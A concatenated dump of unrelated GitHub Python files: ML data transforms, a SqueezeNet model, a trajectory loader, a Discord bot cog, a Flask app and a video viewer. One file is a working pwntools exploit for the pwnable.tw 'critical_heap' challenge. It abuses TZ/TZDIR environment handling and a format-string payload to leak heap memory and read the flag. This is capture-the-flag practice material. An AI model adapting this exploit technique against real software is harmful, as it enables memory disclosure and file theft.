randint(int(self.output_size/2-(self.output_size/3)),self.output_size-10)\n raduis = randint(int(self.output_size/70),int(min(self.output_size - max(s_h,s_w),int(self.output_size/16))))\n \n img_masked = cv2.circle(\n image,\n center = (s_w, s_h),\n radius = raduis,\n color = self.color,\n thickness = -1\n )\n return img_masked\n\n def circle_mask(self,image):\n s_h = randint(int(self.output_size/2-(self.output_size/3)),self.output_size-10)\n s_w = randint(int(self.output_size/2-(self.output_size/3)),self.output_size-10)\n raduis = randint(5,int(min(self.output_size - max(s_h,s_w),int(self.output_size/18))))\n \n img_masked = cv2.circle(\n image,\n center = (s_w, s_h),\n radius = raduis,\n color = self.color,\n thickness = randint(1,4)\n )\n return img_masked\n\n\n def arbitrary_shape(self,image):\n offset = int(self.output_size / 7)\n rad = 0.2\n edgy = 0.05\n c = [randint(offset,self.output_size-offset),randint(offset,self.output_size-offset)]\n a = get_random_points(n=randint(5,20), scale=randint(2,int(self.output_size/7))) + c\n x,y, _ = get_bezier_curve(a,rad=rad, edgy=edgy)\n pts = np.array([x[:],y[:]]).T\n pts = pts.reshape((-1,1,2)).astype(np.int32)\n masked_image = cv2.polylines(image,[pts],True,color = self.color,thickness=randint(int(self.output_size/50),int(self.output_size/20)))\n return masked_image\n\n\nclass FaceNormalize(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n\n def __call__(self, sample):\n\n img_H,img_L = sample['img_H'] , sample[\"img_L\"]\n\n img_H = np.float32(img_H/255.)\n img_L = np.float32(img_L/255.)\n\n sample_ ={'img_H': img_H, 'img_L': img_L} \n \n return sample_\n\n\nclass FaceToTensor(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n\n def __call__(self, sample):\n img_H,img_L = sample['img_H'] , sample[\"img_L\"]\n\n #convert to tensor\n img_H = torch.from_numpy(img_H)\n img_L = torch.from_numpy(img_L)\n # torch image: C x H x W\n img_L = img_L.permute(2, 0, 1).float()\n img_H = img_H.permute(2, 0, 1).float()\n # print(\"img_L\",img_L.shape)\n # print(\"img_H\",img_H.shape)\n\n return {'img_H': img_H,'img_L': img_L} \n","repo_name":"cynanis/MULTIPSE","sub_path":"data/face_transforms.py","file_name":"face_transforms.py","file_ext":"py","file_size_in_byte":13262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26397328656","text":"# -*- coding: utf-8 -*-\nimport datetime as dt\nimport string\n\nfrom flask import render_template, current_app\n\nfrom polylogyx.models import AlertEmail\nfrom .base import AbstractAlerterPlugin\n\n\nclass EmailAlerter(AbstractAlerterPlugin):\n def __init__(self, config):\n self.config = config\n\n def handle_alert(self, node, match, intel_match):\n params = {}\n params.update(node)\n params.update(node.get('node_info', {}))\n server_url = self.setServerName()\n\n message_template = self.config.setdefault(\n 'message_template', 'email/alert.body.txt'\n )\n\n if match:\n params.update(match.result['columns'])\n alert_id=match.alert_id\n elif intel_match:\n message_template='email/intel_alert.body.txt'\n params.update(intel_match.result)\n\n alert_id=intel_match.alert_id\n\n server_url=server_url.replace(\"9000\",\"5000\")\n\n\n\n body = string.Template(\n render_template(\n message_template,\n match=match,\n intel_match=intel_match,\n timestamp=dt.datetime.utcnow(),\n node=node,server_url=server_url\n )\n ).safe_substitute(**params)\n\n email_alert = AlertEmail(node_id=node['id'], alert_id=alert_id,\n body=body)\n email_alert.save(email_alert)\n return\n\n def setServerName(self):\n try:\n with open(\"resources/osquery.flags\", \"r\") as fi:\n for ln in fi:\n if ln.startswith(\"--tls_hostname=\"):\n SERVER_URL = (ln[len('--tls_hostname='):]).replace('\\r', '').replace('\\n', '')\n return SERVER_URL\n except Exception as e:\n return \"localhost:9000\"\n\n","repo_name":"preetpoly/plgx-esp","sub_path":"plgx-esp/polylogyx/plugins/alerters/emailer.py","file_name":"emailer.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18676568596","text":"\"\"\"\n SqueezeNet for ImageNet-1K, implemented in Keras.\n Original paper: 'SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and <0.5MB model size,'\n https://arxiv.org/abs/1602.07360.\n\"\"\"\n\n__all__ = ['squeezenet', 'squeezenet_v1_0', 'squeezenet_v1_1', 'squeezeresnet_v1_0', 'squeezeresnet_v1_1']\n\nimport os\nfrom keras import layers as nn\nfrom keras.models import Model\nfrom .common import maxpool2d, conv2d, is_channels_first, get_channel_axis, flatten\n\n\ndef fire_conv(x,\n in_channels,\n out_channels,\n kernel_size,\n padding,\n name=\"fire_conv\"):\n \"\"\"\n SqueezeNet specific convolution block.\n\n Parameters:\n ----------\n x : keras.backend tensor/variable/symbol\n Input tensor/variable/symbol.\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n kernel_size : int or tuple/list of 2 int\n Convolution window size.\n padding : int or tuple/list of 2 int\n Padding value for convolution layer.\n name : str, default 'fire_conv'\n Block name.\n\n Returns:\n -------\n keras.backend tensor/variable/symbol\n Resulted tensor/variable/symbol.\n \"\"\"\n x = conv2d(\n x=x,\n in_channels=in_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n padding=padding,\n use_bias=True,\n name=name + \"/conv\")\n x = nn.Activation(\"relu\", name=name + \"/activ\")(x)\n return x\n\n\ndef fire_unit(x,\n in_channels,\n squeeze_channels,\n expand1x1_channels,\n expand3x3_channels,\n residual,\n name=\"fire_unit\"):\n \"\"\"\n SqueezeNet unit, so-called 'Fire' unit.\n\n Parameters:\n ----------\n x : keras.backend tensor/variable/symbol\n Input tensor/variable/symbol.\n in_channels : int\n Number of input channels.\n squeeze_channels : int\n Number of output channels for squeeze convolution blocks.\n expand1x1_channels : int\n Number of output channels for expand 1x1 convolution blocks.\n expand3x3_channels : int\n Number of output channels for expand 3x3 convolution blocks.\n residual : bool\n Whether use residual connection.\n name : str, default 'fire_unit'\n Block name.\n\n Returns:\n -------\n keras.backend tensor/variable/symbol\n Resulted tensor/variable/symbol.\n \"\"\"\n if residual:\n identity = x\n\n x = fire_conv(\n x=x,\n in_channels=in_channels,\n out_channels=squeeze_channels,\n kernel_size=1,\n padding=0,\n name=name + \"/squeeze\")\n y1 = fire_conv(\n x=x,\n in_channels=squeeze_channels,\n out_channels=expand1x1_channels,\n kernel_size=1,\n padding=0,\n name=name + \"/expand1x1\")\n y2 = fire_conv(\n x=x,\n in_channels=squeeze_channels,\n out_channels=expand3x3_channels,\n kernel_size=3,\n padding=1,\n name=name + \"/expand3x3\")\n\n out = nn.concatenate([y1, y2], axis=get_channel_axis(), name=name + \"/concat\")\n\n if residual:\n out = nn.add([out, identity], name=name + \"/add\")\n\n return out\n\n\ndef squeeze_init_block(x,\n in_channels,\n out_channels,\n kernel_size,\n name=\"squeeze_init_block\"):\n \"\"\"\n ResNet specific initial block.\n\n Parameters:\n ----------\n x : keras.backend tensor/variable/symbol\n Input tensor/variable/symbol.\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n kernel_size : int or tuple/list of 2 int\n Convolution window size.\n name : str, default 'squeeze_init_block'\n Block name.\n\n Returns:\n -------\n keras.backend tensor/variable/symbol\n Resulted tensor/variable/symbol.\n \"\"\"\n x = conv2d(\n x=x,\n in_channels=in_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n strides=2,\n use_bias=True,\n name=name + \"/conv\")\n x = nn.Activation(\"relu\", name=name + \"/activ\")(x)\n return x\n\n\ndef squeezenet(channels,\n residuals,\n init_block_kernel_size,\n init_block_channels,\n in_channels=3,\n in_size=(224, 224),\n classes=1000):\n \"\"\"\n SqueezeNet model from 'SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and <0.5MB model size,'\n https://arxiv.org/abs/1602.07360.\n\n Parameters:\n ----------\n channels : list of list of int\n Number of output channels for each unit.\n residuals : bool\n Whether to use residual units.\n init_block_kernel_size : int or tuple/list of 2 int\n The dimensions of the convolution window for the initial unit.\n init_block_channels : int\n Number of output channels for the initial unit.\n in_channels : int, default 3\n Number of input channels.\n in_size : tuple of two ints, default (224, 224)\n Spatial size of the expected input image.\n classes : int, default 1000\n Number of classification classes.\n \"\"\"\n input_shape = (in_channels, in_size[0], in_size[1]) if is_channels_first() else\\\n (in_size[0], in_size[1], in_channels)\n input = nn.Input(shape=input_shape)\n\n x = squeeze_init_block(\n x=input,\n in_channels=in_channels,\n out_channels=init_block_channels,\n kernel_size=init_block_kernel_size,\n name=\"features/init_block\")\n in_channels = init_block_channels\n for i, channels_per_stage in enumerate(channels):\n x = maxpool2d(\n x=x,\n pool_size=3,\n strides=2,\n ceil_mode=True,\n name=\"features/pool{}\".format(i + 1))\n for j, out_channels in enumerate(channels_per_stage):\n expand_channels = out_channels // 2\n squeeze_channels = out_channels // 8\n x = fire_unit(\n x=x,\n in_channels=in_channels,\n squeeze_channels=squeeze_channels,\n expand1x1_channels=expand_channels,\n expand3x3_channels=expand_channels,\n residual=((residuals is not None) and (residuals[i][j] == 1)),\n name=\"features/stage{}/unit{}\".format(i + 1, j + 1))\n in_channels = out_channels\n x = nn.Dropout(\n rate=0.5,\n name=\"features/dropout\")(x)\n\n x = nn.Conv2D(\n filters=classes,\n kernel_size=1,\n name=\"output/final_conv\")(x)\n x = nn.Activation(\"relu\", name=\"output/final_activ\")(x)\n x = nn.AvgPool2D(\n pool_size=13,\n strides=1,\n name=\"output/final_pool\")(x)\n # x = nn.Flatten()(x)\n x = flatten(x)\n\n model = Model(inputs=input, outputs=x)\n model.in_size = in_size\n model.classes = classes\n return model\n\n\ndef get_squeezenet(version,\n residual=False,\n model_name=None,\n pretrained=False,\n root=os.path.join(\"~\", \".keras\", \"models\"),\n **kwargs):\n \"\"\"\n Create SqueezeNet model with specific parameters.\n\n Parameters:\n ----------\n version : str\n Version of SqueezeNet ('1.0' or '1.1').\n residual : bool, default False\n Whether to use residual connections.\n model_name : str or None, default None\n Model name for loading pretrained model.\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.keras/models'\n Location for keeping the model parameters.\n \"\"\"\n\n if version == '1.0':\n channels = [[128, 128, 256], [256, 384, 384, 512], [512]]\n residuals = [[0, 1, 0], [1, 0, 1, 0], [1]]\n init_block_kernel_size = 7\n init_block_channels = 96\n elif version == '1.1':\n channels = [[128, 128], [256, 256], [384, 384, 512, 512]]\n residuals = [[0, 1], [0, 1], [0, 1, 0, 1]]\n init_block_kernel_size = 3\n init_block_channels = 64\n else:\n raise ValueError(\"Unsupported SqueezeNet version {}\".format(version))\n\n if not residual:\n residuals = None\n\n net = squeezenet(\n channels=channels,\n residuals=residuals,\n init_block_kernel_size=init_block_kernel_size,\n init_block_channels=init_block_channels,\n **kwargs)\n\n if pretrained:\n if (model_name is None) or (not model_name):\n raise ValueError(\"Parameter `model_name` should be properly initialized for loading pretrained model.\")\n from .model_store import download_model\n download_model(\n net=net,\n model_name=model_name,\n local_model_store_dir_path=root)\n\n return net\n\n\ndef squeezenet_v1_0(**kwargs):\n \"\"\"\n SqueezeNet 'vanilla' model from 'SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and <0.5MB model\n size,' https://arxiv.org/abs/1602.07360.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.keras/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_squeezenet(version=\"1.0\", residual=False, model_name=\"squeezenet_v1_0\", **kwargs)\n\n\ndef squeezenet_v1_1(**kwargs):\n \"\"\"\n SqueezeNet v1.1 model from 'SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and <0.5MB model\n size,' https://arxiv.org/abs/1602.07360.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.keras/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_squeezenet(version=\"1.1\", residual=False, model_name=\"squeezenet_v1_1\", **kwargs)\n\n\ndef squeezeresnet_v1_0(**kwargs):\n \"\"\"\n SqueezeNet model with residual connections from 'SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and\n <0.5MB model size,' https://arxiv.org/abs/1602.07360.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.keras/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_squeezenet(version=\"1.0\", residual=True, model_name=\"squeezeresnet_v1_0\", **kwargs)\n\n\ndef squeezeresnet_v1_1(**kwargs):\n \"\"\"\n SqueezeNet v1.1 model with residual connections from 'SqueezeNet: AlexNet-level accuracy with 50x fewer parameters\n and <0.5MB model size,' https://arxiv.org/abs/1602.07360.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.keras/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_squeezenet(version=\"1.1\", residual=True, model_name=\"squeezeresnet_v1_1\", **kwargs)\n\n\ndef _test():\n import numpy as np\n import keras\n\n pretrained = False\n\n models = [\n squeezenet_v1_0,\n squeezenet_v1_1,\n squeezeresnet_v1_0,\n squeezeresnet_v1_1,\n ]\n\n for model in models:\n\n net = model(pretrained=pretrained)\n # net.summary()\n weight_count = keras.utils.layer_utils.count_params(net.trainable_weights)\n print(\"m={}, {}\".format(model.__name__, weight_count))\n assert (model != squeezenet_v1_0 or weight_count == 1248424)\n assert (model != squeezenet_v1_1 or weight_count == 1235496)\n assert (model != squeezeresnet_v1_0 or weight_count == 1248424)\n assert (model != squeezeresnet_v1_1 or weight_count == 1235496)\n\n if is_channels_first():\n x = np.zeros((1, 3, 224, 224), np.float32)\n else:\n x = np.zeros((1, 224, 224, 3), np.float32)\n y = net.predict(x)\n assert (y.shape == (1, 1000))\n\n\nif __name__ == \"__main__\":\n _test()\n","repo_name":"osmr/imgclsmob","sub_path":"keras_/kerascv/models/squeezenet.py","file_name":"squeezenet.py","file_ext":"py","file_size_in_byte":12000,"program_lang":"python","lang":"en","doc_type":"code","stars":2864,"dataset":"github-code","pt":"37"} +{"seq_id":"43655792924","text":"import os\nimport torch\nimport numpy as np\nfrom torch.utils.data import Dataset\n\n\nclass TrajDataset(Dataset):\n def __init__(self, x, x_occu, y, y_occu, mode='train'):\n self.x = x\n self.x_occu = x_occu\n self.y = y\n self.y_occu = y_occu\n self.mode = mode\n\n def __getitem__(self, index):\n # Shape of x, y: [seq_len, input_len(2)], Shape of x_occu, y_occu: [channel, seq_len, height, width]\n if self.mode == 'train' or self.mode == 'val':\n x = torch.tensor(self.x[index], dtype=torch.float)\n x_occu = torch.tensor(self.x_occu[index], dtype=torch.float).permute(0, 3, 1, 2)\n y = torch.tensor(self.y[index], dtype=torch.float)\n y_occu = torch.tensor(self.y_occu[index], dtype=torch.float).permute(0, 3, 1, 2)\n\n return x, x_occu, y, y_occu\n\n elif self.mode == 'test':\n x = torch.tensor(self.x[index], dtype=torch.float)\n x_occu = torch.tensor(self.x_occu[index], dtype=torch.float).permute(0, 3, 1, 2)\n y = torch.tensor(self.y[index], dtype=torch.float)\n\n return x, x_occu, y\n\n elif self.mode == 'challenge':\n x = torch.tensor(self.x[index], dtype=torch.float)\n x_occu = torch.tensor(self.x_occu[index], dtype=torch.float).permute(0, 3, 1, 2)\n\n return x, x_occu\n \n else:\n raise NotImplemented\n \n def __len__(self):\n return len(self.x)\n\n\ndef load_data(config, dataset_list, datatype=\"train\"):\n # Store the data across datasets\n # All the datasets are merged for training\n if datatype == \"train\" or datatype == \"test\":\n offsets = np.empty((0, config['obs_seq'] + config['pred_seq'] - 1, 8))\n traj_data = np.empty((0, config['obs_seq'] + config['pred_seq'], 4))\n occupancy = np.empty((0, config['obs_seq'] + config['pred_seq'] - 1, config['enviro_pdim'][0], config['enviro_pdim'][1], 3))\n\n if dataset_list[0] == \"train_merged\":\n for i in range(3):\n data = np.load(\"./processed_data/train/%s.npz\" % (dataset_list[0]+str(i)))\n _offsets, _traj_data, _occupancy = data[\"offsets\"], data[\"traj_data\"], data[\"occupancy\"]\n\n\n offsets = np.concatenate((offsets, _offsets), axis=0)\n traj_data = np.concatenate((traj_data, _traj_data), axis=0)\n\n occupancy = np.concatenate((occupancy, _occupancy), axis=0)\n print(dataset_list[0], \"contains %.0f trajectories\" % len(offsets))\n else:\n for i, dataset in enumerate(dataset_list):\n # Only take the orinal data\n # ToDo, here needs to be test if augumentation will boost the performance\n # if dataset != \"train_merged\":\n # ToDo chenge this to make compatible with linus\n data = np.load(\"./processed_data/train/%s.npz\" % (dataset))\n _offsets, _traj_data, _occupancy = data[\"offsets\"], data[\"traj_data\"], data[\"occupancy\"]\n print(dataset, \"contains %.0f trajectories\" % len(_offsets))\n offsets = np.concatenate((offsets, _offsets), axis=0)\n traj_data = np.concatenate((traj_data, _traj_data), axis=0)\n occupancy = np.concatenate((occupancy, _occupancy), axis=0)\n\n # NOTE: When load the challenge data, there is no need to merge them\n # The submission requires each challenge data set (in total 20) to be separated\n # Hence, each time only one challenge data set is called\n elif datatype == \"challenge\":\n offsets = np.empty((0, config['obs_seq'] - 1, 8))\n traj_data = np.empty((0, config['obs_seq'], 4))\n occupancy = np.empty((0, config['obs_seq'] - 1, config['enviro_pdim'][0], config['enviro_pdim'][1], 3))\n for dataset in dataset_list:\n data = np.load(\"./processed_data/challenge/%s.npz\" % (dataset))\n _offsets, _traj_data, _occupancy = data[\"offsets\"], data[\"traj_data\"], data[\"occupancy\"]\n offsets = np.concatenate((offsets, _offsets), axis=0)\n traj_data = np.concatenate((traj_data, _traj_data), axis=0)\n occupancy = np.concatenate((occupancy, _occupancy), axis=0)\n\n elif datatype == \"test\":\n assert len(dataset_list) == 1, print(\"Only one untouched dataset is left fot testing!\")\n elif datatype == \"challenge\":\n assert len(dataset_list) == 1, print(\"predict one by one\")\n if datatype == \"train\":\n if not os.path.exists(\"./processed_data/train/train_merged2.npz\"):\n # Save the merged training data\n # sigle file storage more than 16G is not supported in linux system, so I tried to store them in 3 files.\n # it's not necessary for windows user to separate data into 3 files\n offsets_list = [offsets[:15000,:],offsets[15000:30000,:],offsets[30000:,:]]\n traj_data_list = [traj_data[:15000,:],traj_data[15000:30000,:],traj_data[30000:,:]]\n occupancy_list = [occupancy[:15000,:],occupancy[15000:30000,:],occupancy[30000:,:]]\n\n for i in range(len(offsets_list)):\n np.savez(\"./processed_data/train/train_merged%s.npz\"%(i),\n offsets=offsets_list[i],\n traj_data=traj_data_list[i],\n occupancy=occupancy_list[i])\n\n return offsets, traj_data, occupancy","repo_name":"SeongjuLee/DCENet-PyTorch","sub_path":"loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"72670399466","text":"from pwn import *\nimport sys\n\nif len(sys.argv) < 2:\n\tdebug = True\nelse:\n\tdebug = False\n\nif debug:\n\tp = process(\"./critical_heap\")\n\tlibc = ELF(\"/lib/x86_64-linux-gnu/libc-2.23.so\")\nelse:\n\tp = remote(\"chall.pwnable.tw\",\"10500\")\n\tlibc = ELF(\"/lib/x86_64-linux-gnu/libc-2.23.so\")\n\ndef menu(choice):\n\tp.sendafter(\"Your choice : \",str(choice))\n\ndef add(typ,name,content = \"\\n\"):\n\tmenu(1)\n\tp.sendafter(\"Name of heap:\",name)\n\tif typ == \"system\":\n\t\tmenu(3)\n\telif typ == \"time\":\n\t\tmenu(2)\n\telse:\n\t\tmenu(1)\n\t\tp.sendafter(\"Content of heap :\",content)\n\ndef show(index):\n\tmenu(2)\n\tp.sendafter(\"Index of heap :\",str(index))\n\ndef edit(index,name):\n\tmenu(3)\n\tp.sendafter(\"Index of heap :\",str(index))\n\tp.sendafter(\"Name of heap:\",name)\n\ndef free(index):\n\tmenu(5)\n\tp.sendafter(\"Index of heap :\",str(index))\n\ndef setenv(index,env,value):\n\tmenu(4)\n\tp.sendafter(\"Index of heap :\",str(index))\n\tmenu(1)\n\tp.sendafter(\"Give me a name for the system heap :\",env)\n\tp.sendafter(\"Give me a value for this name :\",value)\n\tmenu(5)\n\ndef playwithnormal(index,payload):\n\tmenu(4)\n\tp.sendafter(\"Index of heap :\",str(index))\n\tmenu(2)\n\tp.sendafter(\"Content :\",payload)\n\tmenu(1)\n\ndef debugf():\n\tgdb.attach(p,\"b *0x4021BC\\nb __printf_chk\")\n\ncontext.log_level = \"debug\"\ncontext.terminal = [\"tmux\",\"splitw\",\"-h\"]\n#debugf()\nadd(\"system\",\"systemaaa\")\nsetenv(0,\"TZ\",\"flag\")\nif debug:\n\tsetenv(0,\"TZDIR\",\"/home/critical_heap++\")\nelse:\n\tsetenv(0,\"TZDIR\",\"/home/critical_heap++\")\n#debugf()\nadd(\"system\",\"systembbb\")\nfree(1)\nadd(\"normal\",\"a\",\"b\")\nshow(1)\np.recvuntil(\"Content : \")\nleak_addr = u64(p.recvuntil(\"\\n\",drop = True).ljust(8,\"\\x00\"))\nheap_base = leak_addr - 0x362\nlog.success(\"heap_base:\" + hex(heap_base))\nadd(\"system\",\"systembbb\")\nadd(\"time\",\"timebbbb\")\nif debug:\n\ttarget = heap_base + 0x6d0\nelse:\n\ttarget = heap_base + 0x6a0\npayload = \"%d\"*(0x06 - 1 + 6 + 1) + \"bb%s\"\npayload += (8 - (len(payload) % 8)) * \"a\"\npayload += p64(target)\nassert len(payload) <= 0x28\nplaywithnormal(1,payload)\nif debug:\n\tdebugf()\nelse:\n\tpass\ninfo = p.recvuntil(\"*****************************\",drop = True)\nlog.success(\"flag:\" + info)\np.interactive()\n","repo_name":"davidwu1999/Pwn","sub_path":"pwn_study/problem/time_format/pwnable_tw_critical_heap/critical_heap.py","file_name":"critical_heap.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6638834902","text":"from discord.ext import commands\nimport discord\nimport requests\nimport json\n\nclass Rocket(commands.Cog):\n\tdef __init__(self,bot):\n\t\tself.bot=bot\n\t\n\t@commands.command(name=\"launches\")\n\tasync def launches(self,ctx,num=1):\n\t\tembed=discord.Embed(title=\"Rocket Launches\", description=\"Fetching rocket launches! :rocket:\",color=0xFFFF00)\n\t\tmessage = await ctx.send(embed=embed)\n\t\ttry:\n\t\t\tURL=f\"https://fdo.rocketlaunch.live/json/launches/next/1\"\n\t\t\tdata=requests.get(URL)\n\t\t\tdata=json.loads(data.text)\n\t\t\tdata=data['result']\n\t\t\tembed=discord.Embed(title=\"Rocket Launches\", description=\"Rocket launches :rocket:\",color=0x00FF00)\n\t\t\tfor i in range(1):\n\t\t\t\ttemp=data[i]\n\t\t\t\tname=temp['name']\n\t\t\t\tprovider=temp['provider']['name']\n\t\t\t\tvehicle=temp['vehicle']['name']\n\t\t\t\tlocation=temp['pad']['location']['name']\n\t\t\t\tweather_summary=temp['weather_summary']\n\t\t\t\tdescription=temp['quicktext']\n\t\t\t\tembed.add_field(name=\"Name: \", value=name)\n\t\t\t\tembed.add_field(name=\"Provider: \", value=provider)\n\t\t\t\tembed.add_field(name=\"Vechicle: \", value=vehicle)\n\t\t\t\tembed.add_field(name=\"Location: \", value=location)\n\t\t\t\tembed.add_field(name=\"Weather: \", value=weather_summary)\n\t\t\t\tembed.add_field(name=\"Description: \", value=description)\n\t\t\t\tawait message.edit(embed=embed)\n\t\texcept:\n\t\t\tembed=discord.Embed(title=\"Rocket Launches\", description=\"Could not fetch data from API.\",color=0xFF0000)\n\n\ndef setup(bot):\n\tbot.add_cog(Rocket(bot))","repo_name":"Arduino3128/BFF-Bot","sub_path":"cogs/rocket.py","file_name":"rocket.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"70762467946","text":"from flask import Flask, render_template, jsonify\n\napp = Flask(__name__)\n\nJOBS = [\n {\n 'id':1,\n 'title': 'Data Analyst',\n 'location': 'Kent, London',\n 'salary': '$ 100000'\n },\n {\n 'id':2,\n 'title': 'Web Developer',\n 'location': 'Kent, London',\n 'salary': '$ 100000'\n },\n {\n 'id':3,\n 'title': 'Product Designer',\n 'location': 'Remote',\n 'salary': '$ 100000'\n },\n {\n 'id':4,\n 'title': 'Product Manager',\n 'location': 'Remote',\n 'salary': '$ 1000000'\n }\n]\n\n\n\n@app.route(\"/\")\ndef hello_world():\n return render_template('home.html', jobs=JOBS)\n\n@app.route(\"/api/jobs\")\ndef list_jobs():\n return jsonify(JOBS)\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', debug=True)","repo_name":"ifylala/python-webapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"hi","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34415121138","text":"import glob\nimport os\nfrom detection import Pola\nfrom PIL import Image\n\npath = os.path.join(\"..\", \"data\", \"matematika\", \"pola 1\", \"vr\")\n\nfor pdf in glob.glob(\"../pdfs/matematika/pola 1/vr/*.pdf\")[16:]:\n\tprint(\"\\nFilename:\", os.path.basename(pdf))\n\n\tprint(\"Genreating images...\")\n\tpola = Pola(pdf)\n\n\tprint(\"Genreating individual exercises...\")\n\tpola.generate_exercises(skip=2)\n\n\tfile_path = os.path.join(path, os.path.splitext(os.path.basename(pdf))[0])\n\tprint(\"Saving to:\", file_path)\n\tpola.save(file_path)\n","repo_name":"TjanL/Maturino","sub_path":"utils/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17173073802","text":"from datetime import datetime, date, time\nfrom typing import Union\n\nimport pandas\n\n\nclass SpendAnalysis:\n alias: str = None\n start_date: datetime = None\n end_date: datetime = None\n summary_by_category: pandas.DataFrame = None\n usedItems: pandas.DataFrame = None\n unfinishedItems: pandas.DataFrame = None\n \n def __init__(self, start_date: Union[datetime, date], end_date: Union[datetime, date], alias: str):\n if type(start_date == date):\n start_date = datetime.combine(start_date, time.min)\n if type(end_date == date):\n end_date = datetime.combine(end_date, time.min)\n self.start_date = start_date\n self.end_date = end_date\n self.alias = alias\n","repo_name":"terrytsan/Spending-Analyser","sub_path":"SpendAnalysis.py","file_name":"SpendAnalysis.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37284210575","text":"class Solution:\n def partitionDisjoint(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n leftmax=[None]*len(A)\n rightmin=[None]*len(A)\n\n m=A[0]\n for i in range(len(A)):\n m=max(m,A[i])\n leftmax[i]=m\n\n m=A[-1]\n for i in range(len(A)-1,-1,-1):\n m=min(m,A[i])\n rightmin[i]=m\n\n for i in range(1,len(A)):\n if leftmax[i-1]<=rightmin[i]:\n return i\n\n\n\nif __name__==\"__main__\":\n s=Solution()\n print(s.partitionDisjoint([1,1]))\n #print(s.partitionDisjoint([1,1,1,0,6,12]))","repo_name":"jiangshshui/leetcode","sub_path":"19thPage/915_PartitionArrayintoDisjointIntervals.py","file_name":"915_PartitionArrayintoDisjointIntervals.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75222088427","text":"import os\r\nimport sys\r\nfrom tools.toolbox_ui import Ui_Dialog\r\nimport cv2\r\nfrom PyQt5.QtWidgets import QApplication, QDialog\r\nfrom PyQt5.QtGui import QImage, QPixmap\r\n\r\ndefault_mot_path = \"C:\\Database\\MOT\\MOT20\"\r\nsave_img = False\r\n\r\n\r\nclass MainDialog(QDialog):\r\n def __init__(self, parent=None):\r\n super(QDialog, self).__init__(parent)\r\n self.ui = Ui_Dialog()\r\n self.ui.setupUi(self)\r\n self.ui.mot_path.setText(default_mot_path)\r\n\r\n self.stop_display = False\r\n self.work = False\r\n self.ui.label_2.clear()\r\n\r\n def get_set_com(self, set_name):\r\n com_dict = {\"Train\": \"1\",\r\n \"Test\": \"2\",\r\n \"All\": \"3\"}\r\n\r\n return com_dict.get(set_name, '1')\r\n\r\n def get_imglist(self, show=True):\r\n seq_path = self.ui.seq_box.currentText()\r\n show_content = [seq_path]\r\n\r\n if show:\r\n for img_list_path in show_content:\r\n print(img_list_path)\r\n img_list = os.listdir(img_list_path)\r\n for i, img_path in enumerate(img_list):\r\n print(img_path, end=' ')\r\n if i % 20 == 0 and i != 0:\r\n print()\r\n print()\r\n\r\n return show_content\r\n\r\n def play_video(self, ground_truth=False, show_det=False):\r\n if self.work:\r\n self.stop_display = True\r\n self.work = False\r\n return\r\n self.work = True\r\n\r\n img_list_path = self.get_imglist(show=False)[0]\r\n if img_list_path is '':\r\n self.ui.label_2.setText(\"No sequence selected\")\r\n print(\"No sequence selected\")\r\n self.work = False\r\n return\r\n Msg = \"Display video seq: \" + img_list_path\r\n print(Msg)\r\n\r\n img_list = os.listdir(img_list_path)\r\n if ground_truth:\r\n ground_truth_dict = {}\r\n if \"train\" in img_list_path:\r\n gt_path = os.path.join(os.path.dirname(img_list_path), \"gt\\\\gt.txt\")\r\n with open(gt_path, 'r') as f:\r\n gt_list = f.readlines()\r\n for line in gt_list:\r\n i = int(line.split(',')[0])\r\n if i not in ground_truth_dict.keys():\r\n ground_truth_dict[i] = [line.split(',')[2:6]]\r\n else:\r\n ground_truth_dict[i].extend([line.split(',')[2:6]])\r\n else:\r\n self.ui.label_2.setText(\"Only training data has ground truth\")\r\n print(\"Only training data has ground truth\")\r\n self.work = False\r\n return\r\n\r\n if show_det:\r\n det_dict = {}\r\n gt_path = os.path.join(os.path.dirname(img_list_path), 